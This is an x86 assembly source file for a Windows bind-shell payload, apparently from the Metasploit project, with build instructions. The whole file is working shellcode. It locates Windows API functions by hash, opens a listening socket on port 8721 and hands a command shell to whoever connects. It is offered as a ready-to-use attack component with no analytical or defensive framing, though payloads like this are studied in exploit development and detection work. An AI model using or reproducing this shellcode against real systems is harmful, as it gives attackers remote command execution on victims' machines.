; Title: Win32 Bind Shell
; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003
; Function: Listen for connection and spawn command shell
; Author: hdm[at]metasploit.com
; Compile: nasm -f bin -o win32_bind.bin win32_bind.asm
[BITS 32]
global _start
_start:
LCaller:
call LLoadFunctions
LDataSegment:
;========================
dd "CMD"
dd 0x79c679e7 ; closesocket 12
dd 0x498649e5 ; accept 16
dd 0xe92eada4 ; listen 20
dd 0xc7701aa4 ; bind 24
dd 0xadf509d9 ; WSASocketA 28
dd 0x3bfcedcb ; WSAStartup 32
dd 0xec0e4e8e ; LoadLibraryA 36
dd 0x73e2d87e ; ExitProcess 40
dd 0xce05d9ad ; WaitForSingleObject 44
dd 0x16b3fe72 ; CreateProcessA 48
db "WS2_32.DLL", 0x00, 0x01
;========================
LLoadFunctions:
pop ebx
push esp
mov ebp, esp
mov [ebp], ebx
LKernel32Base:
push byte 0x30
pop ecx
mov eax, [fs:ecx]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov ebx, [eax + 0x08]
jmp short LStartLoading
LLoadWinsock:
lea edx, [edi + 44] ; get address of ws2_32.dll
push ecx ; save counter
push edx ; push address of ws2_32.dll
call eax ; LoadLibraryA()
mov ebx, eax ; save module handle
pop ecx ; restore counter
jmp short Looper2
LStartLoading:
; Start loading addresses at ebp + 12
push byte 0x08
pop esi
add esi, ebp
; Function counter
push byte 0x0a
pop ecx
mov edi, [ebp]
Looper:
cmp cl, 0x06
je short LLoadWinsock
Looper2:
push ecx ; save the counter
push ebx ; dll handle
push dword [edi + ecx*4] ; function hash value
call LGetProcAddress ; find the address
pop ecx ; restore the counter
mov [esi + ecx * 4], eax ; stack segment to store addresses
loop Looper
xor edi, edi
LWSAStartup:
; WSAStartup(0x101, DATA)
sub sp, 400
push esp
push 0x101
call [ebp + 32]
LWSASocketA:
; WSASocketA(2,1,0,0,0,0)
push edi
push edi
push edi
push edi
inc edi
push edi
inc edi
push edi
call [ebp + 28]
mov ebx, eax ; save socket to ebx
xor edi, edi
LBind:
push edi
push edi
push dword 0x11220002 ; port 8721
mov esi, esp
push byte 0x10 ; length
push esi
push ebx
call [ebp + 24]
LListen:
push edi
push ebx
call [ebp + 20]
LAccept:
push edi
push esi
push ebx
call [ebp + 16]
mov edx, eax
LCreateProcessStructs:
; allocate space for STARTUPINFO, PROCESS_INFORMATION
sub sp, 0x54
; zero out SI/PI
lea edi, [esp]
xor eax, eax
push byte 21
pop ecx
LBZero:
rep stosd
mov edi, edx
mov byte [esp + 16], 68 ; si.cb = sizeof(si)
inc byte [esp + 61] ; si.dwFlags = 0x100
; socket handles
mov [esp + 16 + 56], edi
mov [esp + 16 + 60], edi
mov [esp + 16 + 64], edi
lea eax, [esp + 16] ; si
push esp ; pi
push eax
push ecx
push ecx
push ecx
inc ecx
push ecx
dec ecx
push ecx
push ecx
push dword [ebp]
push ecx
LCreateProcess:
call [ebp + 48]
mov ecx, esp
LWaitForSingleObject:
push 0xFFFFFFFF
push dword [ecx]
call [ebp + 44]
LCloseSocket:
push edi
call [ebp + 12]
LFinished:
call [ebp + 40]
LGetProcAddress:
push ebx
push ebp
push esi
push edi
mov ebp, [esp + 24]
mov eax, [ebp + 0x3c]
mov edx, [ebp + eax + 120]
add edx, ebp
mov ecx, [edx + 24]
mov ebx, [edx + 32]
add ebx, ebp
LFnlp:
jecxz LNtfnd
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp
xor edi, edi
cld
LHshlp:
xor eax, eax
lodsb
cmp al, ah
je LFnd
ror edi, 13
add edi, eax
jmp short LHshlp
LFnd:
cmp edi, [esp + 20]
jnz LFnlp
mov ebx, [edx + 36]
add ebx, ebp
mov cx, [ebx + 2 * ecx]
mov ebx, [edx + 28]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
jmp short LDone
LNtfnd:
xor eax, eax
LDone:
mov edx, ebp
pop edi
pop esi
pop ebp
pop ebx
ret 8
